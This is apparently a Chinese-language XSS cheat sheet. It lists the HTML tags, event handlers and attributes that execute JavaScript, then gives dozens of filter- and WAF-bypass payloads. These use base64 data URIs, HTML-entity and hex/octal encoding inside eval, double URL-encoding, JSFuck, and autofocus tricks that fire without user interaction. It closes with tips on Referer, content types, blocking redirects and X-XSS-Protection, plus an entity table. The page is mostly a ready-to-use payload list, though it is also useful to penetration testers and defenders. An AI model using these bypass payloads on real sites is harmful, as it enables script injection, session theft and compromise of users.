XSS Base

XSS Base

能够执行js的标签、事件、属性

标签

<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>
<select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>

所有的event事件都可以执行js

onload onunload onchange onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop

可以执行js的属性

formaction action href xlink:href autofocus src content data

xss绕过方式

自定义标签

<M/onclick="alert(1)">M

/ 代替 空格

在标签和属性之间不一定只能出现空格,使用/代替空格

<img/src=x onerror=alert(1)>

最短字符

a标签

1、通过JavaScript伪造协议来调用js

<a href=javascript:alert(1)>A

2、通过data协议来执行JavaScript,进一步的话可以对payload进行编码(base64,urlencode,hex,demical,html实体编码)(不进行编码也是可以的)

<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==> 
//base64解码为<script>alert(1)</script>

<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M 

<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M

<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 

<math><a xlink:href=javascript:alert(1)>M

各种编码绕过

百分之百分号

把%给url编码成%25,如果在后台对参数有再次进行urldecode,或者输出时有urldecode那么就可以绕过WAF,

base64编码绕过

不过滤<>但过滤script 和事件操作 onxxxx的时候,使用base64编码来绕过

<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+”>

HTML实体编码的利用绕过waf

<a href= ‘javascript:alert&#40;&#39;123&#39;&#41; ‘>Hello</a>

<a href= “j&#97;vascript:alert&#40; ’123′ &#41;“>Hello</a >

<a  href=  “j&#97;vascript:alert&#0000040;  ’123′ &#41;“>Hello</a >

<a  href=  “j&#97vascript:alert&#0000040’123′ &#41“>Hello</a >

在标签内的所有伪协议JS代码都是可以不用双引号包裹的

eval函数

eval函数认识\x十六进制\八进制\uunicode码(记得使用引号)

<a  href="j&#97;vascript:eval('&#97;\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a  href="j&#97;vascript:eval('&#97;\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a  href="j&#97;vascript:eval('&#97;\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

script标签

1、jsfuck编码 http://www.jsfuck.com/

<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>

2、不规范的script标签

<script firefox>alert(1)</script>   

3、可以用”/“来代替单引号和双引号

script>alert(/3/)</script>

4、如果输出是在setTimeout里,我们依然可以直接执行alert(1)

<script>setTimeout('alert(1)',0)</script>

5、不只是alert。prompt和confirm也可以弹窗

<script>prompt(-[])</script>

6、各种编码方式

<script>alert(String.fromCharCode(49))</script>

button标签

1、通过event事件来实现

<button/onclick=alert(1)>M</button>

2、如果on(event)被过滤了

<form><button formaction=javascript&colon;alert(1)>M

加上autofocus自动弹窗,无需交互
<button onfocus=alert(1) autofocus>

p标签

如果变量输出在p标签里,不一定要跳出标签,只要跳出””即可

<p/onmouseover=javascript:alert(1);>M</p>

img标签

<img src=x onerror=alert(1)>
<img src ?itworksonchrome>\/onerror = alert(1)>  //只在chrome下有效
<img src=x onerror=window.open('http://google.com');>
<img/src/onerror=alert(1)>  //只在chrome下有效
<img src="x:test" onerror="alert(1)">

body标签

通过使用event来调用

<body onload=alert(1)>
<body onscroll=alert(1)<br><br><br><br><br><br><br><br><br><input autofocus>

var标签

<var onmouseover="prompt(1)">test</var>

div标签

<div/onmouseover='alert(1)'>test
<div  style="position:absolute;top:0;left:0;width:100%;height:100%"  onclick="alert(1)">

iframe标签

形式
iframe 的src属性本来应该是一个网址,但是它同样可以执行javascript

onload执行js:

<iframe onload="alert(1)"></iframe>

src执行javascript代码

<iframe src="javascript:alert(1)"></iframe>

IE下vbscript执行代码:

<iframe src="vbscript:msgbox(1)"></iframe>

Chrome下data协议执行代码:

<iframesrc="data:text/html,<script>alert(1)</script>"></iframe>Chrome

上面的变体

<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

Chrome下srcdoc属性

<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

meta标签

跳出当前属性在添加http-equiv=”refresh”,或者通过给http-equiv设置set-cookie来,进一步重新设置cookie

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>? 
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

object标签

和a标签的href属性玩法是一样的,不过优点是无须交互

<object> data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>

marquee标签

<marquee onstart="alert('sometext')"></marquee>

isindex标签

<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>

input标签

通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可

<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>

select标签

<select onfocus=javascript:alert(1) autofocus>

textarea标签

<textarea onfocus=javascript:alert(1) autofocus>

keygen标签

<keygen onfocus=javascript:alert(1) autofocus>

frameset标签

<frameset onload=alert(1)>

<embed标签>

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 
<embed src=javascript:alert(1)> //firefox

svg标签

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> 
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效

math标签

<math href="javascript:javascript:alert(1)">CLICKME</math> 
<math><y/xlink:href=javascript:alert(51)>test1 
<math> <maction actiontype="statusline#http://wangnima.com" 
xlink:href="javascript:alert(49)">CLICKME</maction> </math>

video标签

<video><source onerror="alert(1)"> 
<video src=x onerror=alert(48)>

audio标签

<audio src=x onerror=alert(47)>

在这些标签里面凡是出现在on*事件值里面的javascript:都是多余的

平时搞XSS可能会用得到的技巧

Referer为空才可以访问

有一些界面为了避免是别的地方跳转过来的 Referer必须为空,那什么情况Referer为空呢,第一是HTTPS协议到HTTP的协议,这时候Referer为空,或者用嵌入一个iframe用data加base64编码的方式,还可以用<meta name=”referrer” content=”never” >来达到referer为空

注意返回的type类型

返回什么样的类型决定了浏览器渲染还是不渲染你的XSS代码,只有返回的是XML或者HTML 才有可能会执行成功你的XSS代码,不过不同浏览器的特性不同,有一些返回的type类型可能也是可以执行XSS的,尤其是一些老的ie浏览器,具体可以看看freebuf之前发布过的一篇关于type和浏览器执行的表格。

阻止浏览器302跳转

总所总之,浏览器遇到302,301会直接跟进头部的跳转链接,可是有时候XSS界面就是这个跳转页面,这个跳转url是可控的,并且在浏览器显示如果浏览器没有正确跳转,请点击XXX的字样。那怎么样才可以让浏览器不自动跳转呢?一种就是把跳转的url端口设置低于80 譬如输入http://xss.com:0”  onclick=”alert(/1/) ,还可以使用CSP策略嵌入一个iframe 拿来配合CRLF进行XSS会很舒服

注意头部的X-XSS-Protection

这个东西就是让浏览器帮助一起防御XSS 为0则不帮助,为1则把可能含有的在代码中直接拿掉,还有一个是类型1;black这样的,就是在url地址直接把认为可能是xss的拿掉,所以有时候并不是你的XSS代码被服务器过滤了,还有可能是被浏览器拿走了

HTML Entity

介绍

在编写HTML页面时,需要用到”<”、”>”、”空格”等符号,直接输入这些符号时,会错误的把它们与标记混在一起,非常不利于编码。

那么就需要把这些字符进行转义,以另一种方式抒写,以相同的形式展现。

在HTML中,这些字符可称为HTML Entity,即HTML 字符实体。一个HTML Entity都含有2种转义格式:Entity Name 和 Entity Number。

Entity Name

格式: &entityName;

说明:”&”开头,”;”结尾,以语义的形式描述字符。如字符”<”,英文名称为”less than”,Entity Name为”<”,取自”less than”2个单词的首字母。

Entity Number

格式: &#entityNumber;

说明:”&#”开头,”;”结尾,以编号的形式描述字符。此编号可以为十进制或十六进制(以”&#x”开头)等数字格式。

示例

<p>字符 :<</p>
<p>Entity Name :&lt;</p>
<p>Entity Number(十进制) :&#60;</p>
<p>Entity Number(十六进制) :&#x3c;</p>

Character

Character Entity        Entity Number(十进制)  Entity Number(十六进制)
            &nbsp;      &#32;                   &#x
!           &excl;      &#33;                   &#x21
"           &quot;      &#34;                   &#x22
#           &num;       &#35;                   &#x23
$           &dollar;    &#36;                   &#x24
%        &percnt;    &#37;                   &#x25
&        &amp;        &#38;                   &#x26
'        &apos;      &#39;                   &#x27
(        &lpar;      &#40;                   &#x28
)        &rpar;      &#41;                   &#x29
*        &ast;       &#42;                   &#x2A
+        &plus;      &#43;                   &#x2B
,        &comma;     &#44;                   &#x2C
-        &hyphen;     &#45;                   &#x2D
.        &period;    &#46;                   &#x2E
/        &sol;       &#47;                   &#x2F
:        &colon;     &#58;                   &#x3A
;        &semi;      &#59;                   &#x3B
<        &lt;        &#60;                   &#x3C
=        &equals;    &#61;                   &#x3D
>        &gt;        &#62;                   &#x3E
?        &quest;     &#63;                   &#x3F
@        &commat;     &#64;                   &#x40
[        &lsqb;      &#91;                   &#x5B
\        &bsol;      &#92;                   &#x5C
]        &rsqb;      &#93;                   &#x5D
^        &circ;      &#94;                   &#x5E
_        &lowbar;    &#95;                   &#x5F
`        &grave;     &#96;                   &#x60
{        &lcub;      &#123;                  &#x7B
|        &verbar;    &#124;                  &#x7C
}        &rcub;      &#125;                  &#x7D
~        &tilde;     &#126;                  &#x7E

参考

了解XSS攻击

SVG XSS的一个黑魔法

可以被XSS利用的HTML标签和一些手段技巧

HTML Entity字符实体

HTML Entity 字符对照表